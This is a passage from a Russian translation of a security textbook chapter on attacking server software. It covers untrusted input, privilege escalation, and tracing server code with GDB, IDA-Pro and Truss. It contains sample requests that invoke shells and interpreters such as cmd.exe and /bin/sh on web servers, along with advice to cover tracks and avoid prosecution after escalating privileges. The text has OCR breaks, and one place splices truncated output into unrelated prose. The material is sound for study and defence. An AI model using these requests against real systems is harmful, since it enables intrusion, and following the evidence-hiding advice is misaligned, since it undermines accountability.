ант. Гораздо ближе к реальности ситуация, когда в атакуемой сети используются по>
следние заплаты программного обеспечения, запущена система обнаружения втор>
жений и установлен один или более брандмауэров.
Безусловно, программное обеспечение можно взламывать где угодно, а не только
на подключенных к Internet компьютерах. Все еще существуют устаревшие сети, се>
ти телефонной связи, арендуемые линии связи, высокоскоростные оптические сети,
ретрансляторы сообщений, сети X.25, спутниковые и беспроводные сети. Однако
риски во всех сетях подобны, даже если коммуникационные протоколы различны.
Удаленные атаки, или атаки по сети, с точки зрения злоумышленника намного
безопаснее, чем атаки, требующие физического доступа к компьютеру. Просто здо>
рово, когда можно избежать выстрелов из пистолета или укуса собаки (не говоря уж

138

Глава 4

о тюремном заключении). Однако с технической точки зрения удаленные атаки про
водить гораздо сложнее, и здесь не обойтись минимальными знаниями. При удален
ной атаке всегда используется программное обеспечение, которое служит для досту
па по сети. Программное обеспечение, которое ожидает запросов из сети и выполня
ет действия по обслуживанию этих запросов от удаленных пользователей, называют
серверным приложением (server software). Серверные приложения являются очень
желанными целями удаленных атак хакеров.
Эта глава в основном посвящена теме взлома серверных приложений. Основное
внимание мы обратим на приложения для работы в Internet, но не забывайте, что
существуют и другие виды серверных программ, которые тоже уязвимы для описы
ваемых здесь атак. Возможность взлома серверных приложений обусловлена очень
многими причинами. Может быть, программист не уделил должного внимания тес
тированию безопасности программы. Возможно, руководитель проекта сделал не
правильные предположения о надежности среды, в которой будет работать про
грамма. Или были использованы ненадежные средства разработки, а возможно, уяз
вимые протоколы. Все вышеперечисленные причины приводят к возникновению
в программах уязвимых мест. В основании большого количества программ атаки
лежат невероятно простые (и глупые) ошибки, например неправильное использова
ние возможностей интерфейсов API (вспомните функцию gets()). Ошибки такого
рода кажутся серьезными промахами разработчиков, но не забывайте, что большин
ство современных разработчиков не уделяют должного внимания проблемам безо
пасности. В любом случае, являются ли эти проблемы результатом чрезмерного до
верия к входным данным, ошибок программирования, неправильных вычислений
или простых синтаксических ошибок, все вместе они приводят к возможности про
ведения удаленных атак.
Большинство из рассмотренных в этой главе атак были подробно рассмотрены
в книгах наподобие Секреты хакеров. При этом большинство атак были проведены
с помощью общедоступных средств, которые без особых проблем можно получить
в Internet. Обратитесь к этим книгам, чтобы получить базовые сведения об атаках на
серверные приложения и об использовании простых средств.
В этой главе будет рассмотрено несколько базовых проблем программного обес
печения сервера, включая проблему доверия к входным данным, поиска точек входа
и использования доверительных отношений. Затем мы перейдем к изучению основ
ных методов атак, которые будут поясняться многочисленными примерами, т.е. на
ши читатели смогут понять, как на практике использовать в своих целях основные
проблемы программного обеспечения.

Доверие к входным данным
Среди разработчиков и программистов бытует распространенное предположение,
что пользователи их программ будут вести себя благоразумно. К сожалению, это не
так. Злоумышленники действительно существуют, и особенно быстро это проявля
ется, когда программное обеспечение принимает непроверенные данные из Internet.
Другим широко распространенным заблуждением является идея, что пользователь
ский интерфейс клиентской программы не подходит для генерации определенных
входных данных, т.е. ничего плохого якобы произойти просто не может. И это не со

Взлом серверных приложений

139

ответствует действительности. Злоумышленнику вовсе не нужно использовать оп>
ределенный программный код клиентского приложения для генерации данных для
сервера. Хакер может просто подготовить нужные биты данных и отправить их по
сети. Оба описанных предположения составляют основу большинства проблем, свя>
занных с чрезмерным доверием к входным данным.
Любые данные, которые не входят в состав программного обеспечения сервера,
не могут и не должны считаться надежными. Выражение “безопасность на стороне
клиента” можно рассматривать как бессмысленное сочетание противоположных по
значению слов. Следует пользоваться простой аксиомой, что все клиенты могут
быть взломаны. Безусловно, здесь главная проблема — это доверие к клиенту. Сле>
пое доверие клиенту и непосредственную обработку предоставленных им данных
нельзя назвать удачным решением, однако часто именно такое решение реализуется
на сервере.
Рассмотрим стандартную проблему. Если непроверенные данные будут считать>
ся надежными и входные данные будут использоваться для создания имени файла
или доступа к базе данных, то программа>сервер предоставит беспрепятственный
доступ клиента к системе. Неоправданное доверие является постоянной, и, возмож>
но, одной из самых серьезных проблем для системы безопасности. Система не долж>
на доверять данным, отправляемым потенциальным злоумышленником. Данные
пользователей всегда должны рассматриваться как нечто вредоносное. Программы,
в которых используются входные данные из Internet (пусть даже для фильтрации
этих данных используется брандмауэр приложения), должны разрабатываться с уче>
том защиты от вероятных атак. Тем не менее, большинство программ просто прини>
мают данные пользователя и выполняют на их основе операции с файлами, запросы
к базам данных и системные вызовы.
Одной из сложнейших проблем является создание “черных списков” фильтрации
и удаление “вредоносных входных данных”. Дело в том, что создать и постоянно
поддерживать полный “черный список” блокируемых данных очень сложно. Намно>
го проще задать перечень тех входных данных, которые могут быть пропущены в
“белом списке”. Ошибки в “черном списке” значительно упрощают задачу зло>
умышленника.
Многие уязвимые места возникают по причине неоправданного доверия к поль>
зовательским данным. Это позволяет злоумышленникам открывать любые файлы,
управлять запросами к базе данных и даже выключать компьютер. Некоторые из
атак могут проводиться даже анонимными пользователями. Для проведения других
требуется ввести имя учетной записи пользователя и пароль. Однако даже законным
пользователям не следует разрешать копирование всей базы данных и создание
файлов в корневом каталоге сервера.
Во многих случаях реализации стандартной технологии клиент/сервер в клиент>
ской программе есть пользовательский интерфейс, который как бы служит проме>
жуточным уровнем между пользователем и серверным приложением. В качестве
примера можно назвать форму на Web>странице. Клиенту предоставляется удобное
графическое окно, в которое он может вводить данные. Когда клиент нажимает
кнопку “Отправить”, программный код клиентского приложения принимает все
данные из формы, упаковывает их в специальный формат и отправляет серверу.
Пользовательский интерфейс предназначен для добавления уровня абстракции
между человеком и серверной программой. Поэтому клиентское программное обес>

140

Глава 4

печение практически никогда не показывает, что передается от клиента серверу. По>
добным образом клиентская программа стремится скрыть от пользователя большую
часть данных, которые предоставляет сервер. Пользовательский интерфейс получает
данные от сервера, конвертирует их для использования, делает их удобными для
восприятия и т.д. Однако невидимо для пользователя осуществляется передача не>
обработанных данных.
Безусловно, клиентское приложение только помогает пользователю в создании
специально сформатированного запроса. Можно полностью отказаться от использо>
вания клиентского программного кода, если пользователь способен самостоятельно
вручную создавать запросы в нужном формате. Но даже этот простой факт не учи>
тывается в “безопасной архитектуре” многих Web>приложений. Злоумышленники
широко пользуются возможностью создания вредоносных клиентских программ или
непосредственного взаимодействия с сервером. Одной из самых любимых программ
хакеров является программа netcat. Программа netcat позволяет просто открыть
“анонимный” порт для подключения к удаленному серверу. После привязки к порту
злоумышленник может вручную вводить строки данных или направлять поток дан>
ных на удаленный сервер. Вуаля, клиент просто исчез.
Шаблон атаки: делаем клиента невидимым
Удаляем клиента из цикла взаимодействия, обращаясь непосредственно к серверу. Можно попытаться выяснить, какие данные сервер принимает, а какие нет. Можно выдать себя за
клиента.

Любое доверие, которое оказывается сервером клиенту, — это залог успеха атаки.
Безопасное серверное приложение должно крайне подозрительно относиться к лю>
бым данным, которые поступают из сети, предполагая, что действует вредоносное
клиентское приложение. По этой причине в практике создания безопасных прило>
жений никогда не должны применяться решения, основанные на скрытых полях или
проверке данных в формах JavaScript. По этой же причине никогда нельзя доверять
данным, которые предоставляет пользователь клиентской программы. Более под>
робно о том, как избежать доверия к входным данным, описано в книгах Writing
Secure Code и Bulding Secure Software.

Расширение привилегий
Для некоторых компонентов системы устанавливаются доверительные отноше>
ния (иногда явные, иногда неявные) с другими частями системы. В некоторых слу>
чаях эти доверительные отношения имеют возможности “расширения доверия”, т.е.
для компонентов могут быть сняты внутрисистемные ограничения. Чтобы разо>
браться в этом, представим, что происходит, когда обычное приложение использует
системный вызов уровня ядра. Очевидно, что ядро заслуживает значительно боль>
шего доверия, чем обычная программа.
Когда мы говорим о параметрах для “надежных” команд, мы должны думать о
расширении привилегий в системе. Где принимается надежный параметр и где он
используется? Находится ли используемая точка в области кода с большим довери>
ем, чем точка входа? Если да, значит, мы нашли путь расширения привилегий.

Взлом серверных приложений

141

Доверие на уровне привилегий процесса
Предоставленные процессу привилегии можно считать пределом возможностей
программы атаки на этот процесс, но программа атаки не ограничивается одним
процессом. Не забывайте, что вы атакуете систему. Вспомните о ситуациях, когда
низкопривилегированные процессы взаимодействуют с процессами с более высоки>
ми привилегиями. Взаимодействие может осуществляться с помощью вызовов про>
цедур, обработчиков файлов или сокетов. Интересно, что взаимодействие посредст>
вом файлов данных освобождается от большинства обычных ограничений по време>
ни. Так действуют многие базы данных, т.е. в системе можно разместить “логические
бомбы”, которые сработают в определенный момент в будущем при достижении оп>
ределенного состояния.
Связи между программами могут быть весьма разветвленными и трудными для
отслеживания. Для разработчика это означает, что еще в проекте закладываются
возможности для взлома. Уязвимые места существуют и при взаимодействии ком>
понентов различных систем. Схемы соединений могут быть самыми удивительными.
Рассмотрим файл журнала. Если низкопривилегированный процесс способен созда>
вать записи в журнале, а для чтения этих записей используется процесс с высокими
привилегиями, то существует очевидный путь для взаимодействия между двумя
программами. Хотя и кажется, что такое взаимодействие выявить достаточно слож>
но, но были созданы программы атаки, в которых использовались подобные уязви>
мые места. Например, Web>сервер регистрирует предоставленные пользователем
данные из запросов страниц. Анонимный пользователь способен внести специаль>
ные метасимволы в запрос страницы, что приведет к сохранению этих символов в
файле журнала. Когда пользователь с правами администратора будет просматривать
файл журнала, с помощью метасимволов в файл паролей будут добавлены нужные
хакеру данные.

Кому нужны права администратора?
Во всех руководствах по безопасному программированию присутствует масса
упоминаний о принципе наименьших привилегий. Проблема в том, что большая
часть программного кода просто не работает с минимальными привилегиями.
Очень часто программы не способны корректно работать при установке ограниче>
ний доступа. Весьма прискорбно, что многие из этих программ могли бы и не тре>
бовать прав системного администратора или суперпользователя, но они это дела>
ют. В результате современное программное обеспечение работает со слишком ши>
рокими привилегиями.
Рассматривать привилегии следует с точки зрения системы, т.е. глобально (на>
шим читателям следует усвоить эту хитрость хакеров). Очень часто в качестве служ>
бы, предоставляющей привилегии и проверки прав доступа, выступает операцион>
ная система, но для многих программ не соблюдается принцип наименьших приви>
легий. Такие программы некорректно используют ресурсы операционной системы и
требуют чрезмерных привилегий (и часто не получают отказа). Более того, пользо>
ватель такой программы может заметить, а может и не заметить такой проблемы, но,
не сомневайтесь, что хакер обнаружит подобный недостаток. Один из интересных
методов атаки заключается в запуске программы в замкнутом пространстве и иссле>

142

Глава 4

довании контекста безопасности каждого вызова и операции (иногда это проще
осуществить на продвинутых платформах типа Java 2). Использование некоррект>
ных привилегий является одним из самых популярных методов атак, которые мы за>
тронули только поверхностно.
Шаблон атаки: взлом программ, которые обладают правами записи
в привилегированных областях операционной системы
Хакер обязательно выполнит поиск программ, которые обладают правами записи в системном каталоге или параметрах реестра (например, в разделе реестра HKLM, в котором
хранится множество критически важных переменных среды Windows). Эти программы обычно запускаются с широкими привилегиями и при их создании редко применяются принципы
безопасности. Эти программы являются великолепными целями для проведения атак, поскольку они предоставляют огромные возможности после взлома.

Привилегированные процессы, которые выполняют
чтение данных из непроверенных источников
После получения удаленного доступа к системе, злоумышленник может начать
поиск файлов и параметров реестра, которыми он хочет управлять. Подобным обра>
зом он может начать поиск локальных конвейеров и системных объектов. В Win>
dows NT, например, есть диспетчер объектов (object manager) и каталог системных
объектов, включая области памяти (действительные сегменты памяти с правами
доступа/записи), открытые обработчики файлов, конвейеры и мьютексы (mutex).
Все перечисленное выше относится к потенциальным точкам входа, через которые
хакер может проникнуть в систему. После проникновения в систему хакер стремит>
ся получить доступ к процессу ядра или сервера. Любая точка входа для данных мо>
жет быть использована как плацдарм для доступа к более привилегированным об>
ластям памяти.
Шаблон атаки: используем конфигурационный файл пользователя для запуска
команд, которые позволяют расширить привилегии
Допустим, что утилите с установленным битом SUID можно передать аргументы через командную строку. В одном из этих аргументов хакер может записать путь к конфигурационному
файлу. Для конфигурационного файла разрешено передавать команды командного интерпретатора. Таким образом, при запуске утилиты она запускает заданные команды. Одним из реальных примеров может послужить пакет утилит UUCP (UNIX-to-UNIX copy program) для копирования файлов из одной UNIX-системы в другую. Сама программа из пакета программ может и
не иметь прав суперпользователя, но возможно, что она относится к группе или учетной записи, которые обладают более широкими правами, чем те, которыми может пользоваться хакер. В случае UUCP расширение привилегий может позволить хакеру получить права группы,
которой разрешено устанавливать соединения, или права учетной записи UUCP. Таким образом, с помощью поэтапного расширения привилегий хакеру удается скомпрометировать
учетную запись суперпользователя.
В некоторых программах не разрешается применять пользовательские конфигурационные файлы, но для системного конфигурационного файла могут быть установлены недостаточно жесткие права доступа. Существует огромное количество уязвимых мест, которые возникли

Взлом серверных приложений

143

в результате установки слишком толерантных прав доступа. Важное замечание: целостность
конфигурационного файла может контролироваться процессами обеспечения безопасности.
Поэтому хакер должен быть осторожен. При внесении в этот файл изменений, позволяющих
расширить свои права на компьютере, после выполнения всех необходимых действий следует
восстановить начальные значения. Затем следует запустить специальные утилиты для восстановления даты последнего доступа к файлу. Главное — не оставлять следов, которые могут
быть использованы при судебном преследовании.

Процессы, использующие
привилегированные компоненты
В некоторых “умных” процессах пользовательские запросы обрабатываются в
низкопривилегированной среде. Теоретически эти процессы не могут использовать>
ся при атаках. Однако при этом делается предположение, что учетные записи с огра>
ниченными правами, которые используются для управления доступом, не способны
выполнять чтение секретных файлов. На самом деле администрирование многих
систем проводится на низком уровне и даже низкопривилегированные учетные за>
писи способны получать доступ к любой части файловой системы и пространству
памяти, выделенному для текущих процессов. Также нужно отметить, что во многих
методах по предоставлению наименьших привилегий есть свои исключения. Возь>
мем, например, сервер IIS от компании Microsoft. При неверной конфигурации сер>
вера IIS предоставленные пользователем данные способны выполнять вызов функ>
ции RevertToSelf(), что позволяет выполнять команды от имени учетной записи
с привилегиями администратора. Более того, определенные библиотеки DLL всегда
выполняются с правами администратора, независимо от прав пользователя, который
запускает программу. Вывод: если потратить достаточно много времени на аудит
атакуемой системы, то, вероятнее всего, удастся найти точку входа, где не соблюда>
ется принцип предоставления наименьших привилегий.

Поиск точек входа
Существует несколько средств, с помощью которых можно обнаружить файлы и
другие точки входа. В случае Windows NT список наиболее популярных средств для
просмотра реестра или файловой системы можно найти по адресу http://www.
sysinternals.com. Средства под названиями filemon и regmon хорошо подхо>
дят для выявления файлов и параметров реестра. Это достаточно известные средст>
ва. Другие программы, предоставляющие подобные сведения, называют диспетче
рами API (API monitor). На рис. 4.1 показано окно популярной программы File
Monitor. Программы>диспетчеры подключаются к определенным вызовам API и по>
зволяют определить, какие параметры передаются этим вызовам. Иногда эти про>
граммы позволяют в оперативном режиме изменять вызовы функций — простейшая
форма внесения ошибок.
Для изменения вызовов функций API можно воспользоваться программой Fai>
lure Simulation Tool (FST) от компании Cigital (рис. 4.2). Программа FST внедряется
между приложением и DLL с помощью перезаписи таблицы адресов прерываний.
Благодаря этому диспетчер API видит, какие функции API вызываются и какие па>

144

Глава 4

раметры передаются. Программу FST можно использовать для вывода отчета об ин>
тересных видах ошибок в тестируемом приложении.

Рис. 4.1. Окно программы filemon, которая является средством для шпионажа в файловой сис
теме и доступна на сайте www.sysintrenals.com

Рис. 4.2. Окно запущенной программы FST от компании Cigital

Поиск файлов для входных данных
Обязательно следует выполнить поиск файлов, которые используются для хра>
нения входных данных. При запуске программа может выполнять чтение конфигу>
рационной информации из нескольких областей хранения данных, включая пере>
менные среды, о которых так часто забывают. Программа может выполнять поиск

Взлом серверных приложений

145

конфигурационного файла в нескольких областях. Если хакеру доступна область,
где может быть обнаружен конфигурационный файл, это предоставляет возмож>
ность для атаки.
Шаблон атаки: использование сведений о возможных путях поиска
конфигурационного файла
Если разместить копию конфигурационного файла в ранее пустой каталог, атакуемая программа может найти версию хакера первой и прекратить все дальнейшие поиски. В большинстве программ уделяется недостаточно внимания безопасности, т.е. не выполняется никаких проверок относительно владельца файла. Переменная окружения PATH в среде UNIX
часто определяет, что программа должна выполнять поиск данного файла в различных каталогах. Проверьте эти каталоги на предмет возможной установки “троянского” файла.

Трассировка входных данных
Трассировка входных данных — это чрезвычайно полезный, но крайне утоми>
тельный способ отслеживания информации, касающейся пользовательских входных
данных. К процессу трассировки относится установка точек останова, когда пользо>
вательские данные попадают в программу, и трассировка внутри программы. Для
экономии времени хакер может воспользоваться средствами трассировки, средства>
ми управления потоком и точками останова в памяти. Эти методы атаки более под>
робно описаны в главе 3, “Восстановление исходного кода и структуры программы”.
В следующем примере будут продемонстрированы хитрости отслеживания пути,
чрезвычайно полезные при сборе информации о пользовательских входных данных.

Использование GDB и IDA-Pro по отношению к двоичному
файлу SOLARIS/Sparc-программы
Хотя IDA>Pro является Windows>программой, ее профессиональная версия мо>
жет использоваться для декомпиляции двоичных файлов, скомпилированных на
различных платформах. В нашем примере мы воспользовались IDA>Pro для деком>
пиляции одного из главных исполняемых файлов сервера Netscape I>Planet Applica>
tion Server, запущенного на платформе Solaris 8/Ultra>SPARC 10.
Программа GDB, вероятно, является одним из самых мощных отладчиков. К до>
полнительным возможностям GDB можно отнести функцию установки точек оста>
нова по условию и возможность использования выражений. Программа GDB, безус>
ловно, также позволяет дизассемблировать программный код, поэтому технически
можно обойтись и без IDA. Однако IDA наиболее удобна при выполнении крупного
проекта по дизассемблированию.

Расстановка точек останова и использование выражений
При восстановлении исходного кода точки останова играют огромную роль. Точ>
ка останова позволяет нам остановить выполнение программы в определенном мес>
те. После остановки можно исследовать содержимое памяти, а затем пошагово ис>
следовать вызовы функций. Если запустить процесс дизассемблирования в одном

146

Глава 4

окне, можно вывести результат следующего действия в другое окно и сделать нуж>
ные заметки. Дизассемблер IDA особенно удобен тем, что позволяет сделать записи
в ходе процесса дизассемблирования. Одновременное использование дизассемблера,
что приводит к созданию дизассемблированного кода (так называемый dead listing),
а также отладчика, является одним из вариантов исследования по методу “серого
ящика”.
При установке точек останова можно работать в двух направлениях: “изнутри
наружу” или “снаружи внутрь”. При первом методе выполняется поиск интересую>
щего системного вызова или функции API, например, по операции с файлом. Затем
устанавливается точка останова на вызов этой функции и начинается обратное ис>
следование: не использовались ли в вызове пользовательские данные? Это мощный
способ для восстановления исходного кода программы, но он должен быть макси>
мально автоматизирован. При работе по методу “снаружи внутрь” сначала опреде>
ляется функция, в которой пользовательские данные впервые обрабатываются про>
граммой, и затем начинается пошаговое исследование и анализ исполнения кода в
программе. Это очень удобно при определении участка кода, где условные переходы
выполняются на основе пользовательских данных. Оба метода могут быть объеди>
нены в целях достижения максимального эффекта.

Поиск адресов памяти для выполняемой программы, полученных
с помощью IDA
К сожалению, адреса памяти, которые отображаются в окне IDA, полностью не
соответствуют адресам, используемым выполняемой программой при одновремен>
ной работе программы GDB. Однако определить смещения не столь сложно даже
вручную. Например, если IDA показывает, что вызов функции INTutil_uri_is
_evil_internal хранится по адресу 0x00056140, то следующие команды позво>
ляют обнаружить действительный адрес во время исполнения. В окне IDA
отображается следующая информация.
.text:00056140 ! ||||||||||||||| S U B R O U T I N E
|||||||||||||||||||||||||||||||||||||||
.text:00056140
.text:00056140
.text:00056140
.global INTutil_uri_is_evil_internal

Установка точки останова с помощью GDB позволяет узнать действительную
страницу памяти для этой подпрограммы, как показано ниже.
(gdb) break *INTutil_uri_is_evil_internal
Breakpoint 1 at 0xff1d6140

Теперь мы знаем, что адрес 0x00056140 соответствует адресу 0xff1d6140. Об>
ратите внимание, что смещение 0x6140 на странице памяти одинаково для обоих
адресов. При грубом приближении заменяются только два старшие байта адреса.

Подключение к запущенному процессу
Программа GDB обладает прекрасной возможностью подключаться и отклю>
чаться от запущенных процессов. Поскольку для большей части серверного про>
граммного обеспечения применяются достаточно сложные процедуры при запуске,
то зачастую весьма сложно и неудобно запускать программы внутри отладчика.

Взлом серверных приложений

147

Возможность подключения к запущенному процессу экономит массу времени. Пре>
жде всего, следует определить идентификатор процесса (PID), отладку которого мы
собираемся провести. Для программы Netscape I>Planet может потребоваться не>
сколько попыток такого определения.
Чтобы подключиться к запущенному процессу с помощью GDB, запускаем ко>
манду gdb и затем вводим следующую команду после появления приглашения на
ввод команды, где processid — это идентификатор искомого процесса.
(gdb) attach process-id

После подключения к процессу следует воспользоваться командой continue с
целью продолжить выполнение программы. Чтобы вернуться к приглашению на
ввод команды, можно нажать комбинацию клавиш .
(gdb) continue

Если процесс является многопоточным, то с помощью команды info можно про>
смотреть перечень всех запущенных потоков (безусловно, это не единственное
предназначение этой команды).
(gdb) info
90 Thread
89 Thread
88 Thread
87 Thread
86 Thread
85 Thread
84 Thread
83 Thread
82 Thread
81 Thread
80 Thread
79 Thread
78 Thread
77 Thread
76 Thread
75 Thread
74 Thread
73 Thread
72 Thread
...

threads
71
0xfeb1a018 in _lwp_sema_wait () from /usr/lib/libc.so.1
70 (LWP 14) 0xfeb18224 in _poll () from /usr/lib/libc.so.1
69
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
68
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
67
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
66
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
65
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
64
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
63
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
62
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
61
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
60
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
59
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
58
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
57
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
56
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
55
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
54
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1
53
0xfeb88014 in cond_wait () from /usr/lib/libthread.so.1

Чтобы получить список всех функций в стеке вызовов, воспользуйтесь следую>
щей командой.
(gdb) info stack
#0 0xfedd9490 in _MD_getfileinfo64 ()
from /usr/local/iplanet/servers/bin/https/lib/libnspr4.so
#1 0xfedd5830 in PR_GetFileInfo64 ()
from /usr/local/iplanet/servers/bin/https/lib/libnspr4.so
#2 0xfeb62f24 in NSFC_PR_GetFileInfo ()
from /usr/local/iplanet/servers/bin/https/lib/libnsfc.so
#3 0xfeb64588 in NSFC_ActivateEntry ()
from /usr/local/iplanet/servers/bin/https/lib/libnsfc.so
#4 0xfeb63fa0 in NSFC_AccessFilename ()
from /usr/local/iplanet/servers/bin/https/lib/libnsfc.so
#5 0xfeb62d24 in NSFC_GetFileInfo ()
from /usr/local/iplanet/servers/bin/https/lib/libnsfc.so
#6 0xff1e6cdc in INTrequest_info_path ()
from /usr/local/iplanet/servers/bin/https/lib/libns-httpd40.so
... _MD_getfileinfo64

148

Глава 4

В данном примере текущей функцией является функция _MD_getfileinfo64,
вызванная функцией PR_GetFIleInfo64, которая в свою очередь была вызвана
функцией NSFC_PR_GetFileInfo и т.д. Стек вызовов позволяет проследить вызов
функции и определить “путь” исполнения кода в программе.

Использование программы Truss для моделирования
исследуемого процесса на платформе Solaris
Для восстановления исходного кода исполняемых файлов I>Planet мы скопиро>
вали основные исполняемые файлы и связанные с ними библиотеки на стандартную
рабочую станцию Windows 2000, где была установлена программа IDA>Pro. Цель
заключалась в исследовании обращений к функциям файловой системы и отслежи>
вании кода для обработки адресов URL, чтобы удаленно определить возможные пу>
ти выполнения программы в файловой системе. Этот пример может использоваться
в качестве модели для поиска уязвимых мест во многих пакетах программного обес>
печения. С помощью IDA можно восстановить исходный код приложений на многих
UNIX>платформах, а GDB позволяет выполнить процесс восстановления практиче>
ски на всех доступных платформах.
При восстановлении исходного кода Web>сервера первоочередная задача заклю>
чается в поиске подпрограмм, которые обрабатывают данные универсальных иден>
тификаторов ресурса (Uniform Resource Identifier — URI). Данные URI предостав>
ляются удаленными пользователями. При наличии уязвимых мест их легче всего
использовать во вредоносных целях. Среди огромного количества вызовов функций
API, которые выполняются каждую секунду, очень сложно выявить наиболее важ>
ные. К счастью, существуют мощные средства, с помощью которых можно смодели>
ровать запущенное приложение. В нашем случае для отслеживания подпрограмм,
обрабатывающих адреса URI, используется отличная Solaris>программа под назва>
1
нием Truss .
На платформе Solaris 8 программа Truss позволяет отследить библиотечные вы>
зовы API запущенного процесса. Это очень удобно для определения того, какие вы>
зовы используются при определенных ситуациях в программе. Чтобы понять, какая
часть кода сервера I>Planet обрабатывает данные, мы подключили Truss к основному
процессу и создали “журналы” вызовов, использовавшихся при обработке Web>
запросов (при работе на другой платформе, отличной от Solaris, можно использовать
подобное средство под названием ltrace. Это бесплатная программа с открытым
исходным кодом, которая работает на многих платформах).
Пользоваться Truss очень просто, и ее можно подключать и отключать по отно>
шению к запущенному процессу. Для подключения к запущенному процессу нужно
найти его идентификатор и выполнить следующую команду.
# truss -u *:: -vall -xall -p process_id

Если нужны только определенные вызовы функций API, можно совместить ис>
пользование команд truss и grep.
# truss -u *:: -vall -xall -p 2307 2>&1 | grep anon
1

Более подробную информацию о программе Truss можно получить по адресу
http://solaris.java.sun.com/articles/multiproc/truss_comp.html.

Взлом серверных приложений

149

Приведенная выше команда позволяет отследить процесс с идентификато>
ром 2307 и показать только те используемые им вызовы, в которых присутствует
подстрока anon. Без труда можно изменить grep для игнорирования определенных
вызовов. Это весьма удобно, поскольку можно узнать обо всех вызовах, кроме надо>
едливых вызовов poll и read.
# truss -u *:: -vall -xall -p 2307 2>&1 | grep –v read | grep –v poll

Обратите внимание на необходимость использования тега, поскольку Truss не
выводит данные на стандартное устройство вывода (stdout).
Результат выполнения команды будет выглядеть примерно следующим образом.
/67:
/67:
0x30)
/67:
/67:
/67:
/67:
/67:
/67:
/67:
/67:
/67:
/67:
/67:
/67:
/67:
/67:
/67:

libns-httpd40:__0FT_util_strftime_convPciTCc(0xff2ed342, 0x2, 0x2,
libns-httpd40:INTpool_strdup(0x9e03a0, 0xff2ed330, 0x0, 0x0)
-> libc:strlen(0xff2ed330, 0x0, 0x0, 0x0)
выражения, используемые на Web>сервере.
Безусловно, это неудачное решение, поскольку анонимным пользователям предос>
тавляется неограниченный доступ к системе. Однако в этом случае доверие обу>
словлено месторасположением исполняемого файла Perl, а не настройками про>
граммного обеспечения.

150

Глава 4

Шаблон атаки: непосредственный доступ к исполняемым файлам
Рассмотрим ситуацию, при которой вполне возможен непосредственный доступ к привилегированной программе. В результате выполнения этой программой определенных команд
хакер может расширить свои привилегии или получить доступ к командному интерпретатору.
Для Web-серверов такая ситуация часто является фатальной. Если сервер запускает внешние
исполняемые файлы, предоставленные пользователем (или просто названные им), пользователь способен заставить систему работать в непредвиденном режиме. Для этой цели хакер
может воспользоваться аргументами командной строки или создать интерактивный сеанс
взаимодействия. Подобные ошибки не менее опасны, чем предоставление хакеру неограниченного доступа к командному интерпретатору.
Чаще всего целями подобных атак становятся Web-серверы. При этом атаки настолько
просты, что многие злоумышленники для выявления потенциальных целей атаки пользуются
поисковыми машинами Internet, например Altavista или Google.

Исполняемым программам, как правило, можно передать параметры через команд>
ную строку. Большинство Web>серверов передают параметры командной строки непо>
средственно исполняемому файлу как “свойства”. Хакер получает возможность указать
интересующий исполняемый файл, например командный интерпретатор или какую>то
утилиту. Параметры, полученные в адресе URL, передаются указанному исполняемому
файлу и там интерпретируются как команды. Например, следующие параметры могут
быть переданы программе cmd.exe с целью запустить DOS>команду dir.
cmd.exe /c dir

При передаче данных Web>серверу обычно используется некоторая форма имени
искомого файла, а иногда добавляются дополнительные параметры.
GET
GET
GET
GET

/cgi-bin/perl?-e%20print%20hello_world
/scripts/shtml.dll?index.asp
/scripts/sh
/foo/cmd.exe

Поиск непосредственно исполняемых файлов
Проблемы, подобные описанным выше, достаточно легко выявить. Хакер может
просканировать удаленную файловую систему в поисках известных исполняемых
файлов. В перечень интересующих файлов попадают библиотеки DLL, исполняемые
файлы и CGI>программы. Наиболее популярными целями являются следующие
файлы: /bin/perl, perl.exe, perl.dll, cmd.exe, /bin/sh.
Еще раз напоминаем, что непосредственно доступные файлы могут быть обнару>
жены с помощью Web>поисковиков. Сайты Altevista и Google предоставляют нуж>
ные сведения любому желающему найти уязвимые серверы.

Сведения о текущем рабочем каталоге
Текущий рабочий каталог (Current Working Directory — CWD) можно считать
параметром запущенного процесса. При атаке на запущенный процесс можно ожи>
дать, что все команды влияют на определенный каталог файловой системы. Если не
задать каталог, то программа будет предполагать, что все операции по работе с фай>
лами должны выполняться в текущем рабочем каталоге.

Взлом серверных приложений

151

При подобных атаках нельзя использовать некоторые символы. Это может огра>
ничить использование команд, для которых предполагается указание пути к опреде>
ленному каталогу. Например, если нельзя использовать символ косой черты (/), то
придется ограничиться работой в текущем каталоге. Однако проблемы с использо>
ванием точек и косой черты существуют по сей день в старых версиях Java.

Что делать, если Web-сервер не выполняет
CGI-программы?
Иногда конфигурация сервера не допускает исполнения двоичных файлов. Обна>
ружить это будет особенно обидно, когда хакер потратил несколько часов на загрузку в
систему “троянского” файла. В данном случае следует проверить, не позволяет ли сер>
вер исполнять файлы сценариев. При положительном результате этой проверки сле>
дует загрузить файл, который не считается “исполняемым” (например сценарий или
специальная серверная страница, которые все>таки обрабатываются определенным
способом). В этом файле можно передать на сервер специальные вложенные сценарии,
которые способны выполнить “троянские” программы через proxy>сервер.
Шаблон атаки: сценарии, вложенные в сценарии
Современные Internet-технологии очень разнообразны и сложны. На данное время созданы сотни языков программирования, компиляторов и интерпретаторов, которые позволяют
писать и исполнять программный код. Но каждый разработчик очень хорошо знает только некоторую часть общей технологии. Эволюция систем приводит к необходимости обеспечения
обратной совместимости различных технологий программирования. И с точки зрения менеджмента требуется получить прибыль от инвестиций, вложенных в современное программное обеспечение. Это одна из причин, по которым некоторые новые языки создания сценариев обратно совместимы с уже устаревшими языками создания сценариев.
В результате быстрой, но плохо контролируемой эволюции средств создания программного кода, большая часть технологий позволяет использовать встроенные фрагменты кода, созданные на других языках программирования или с помощью других технологий (также могут
предоставляться иные возможности доступа). Это значительно усложняет задачу обеспечения
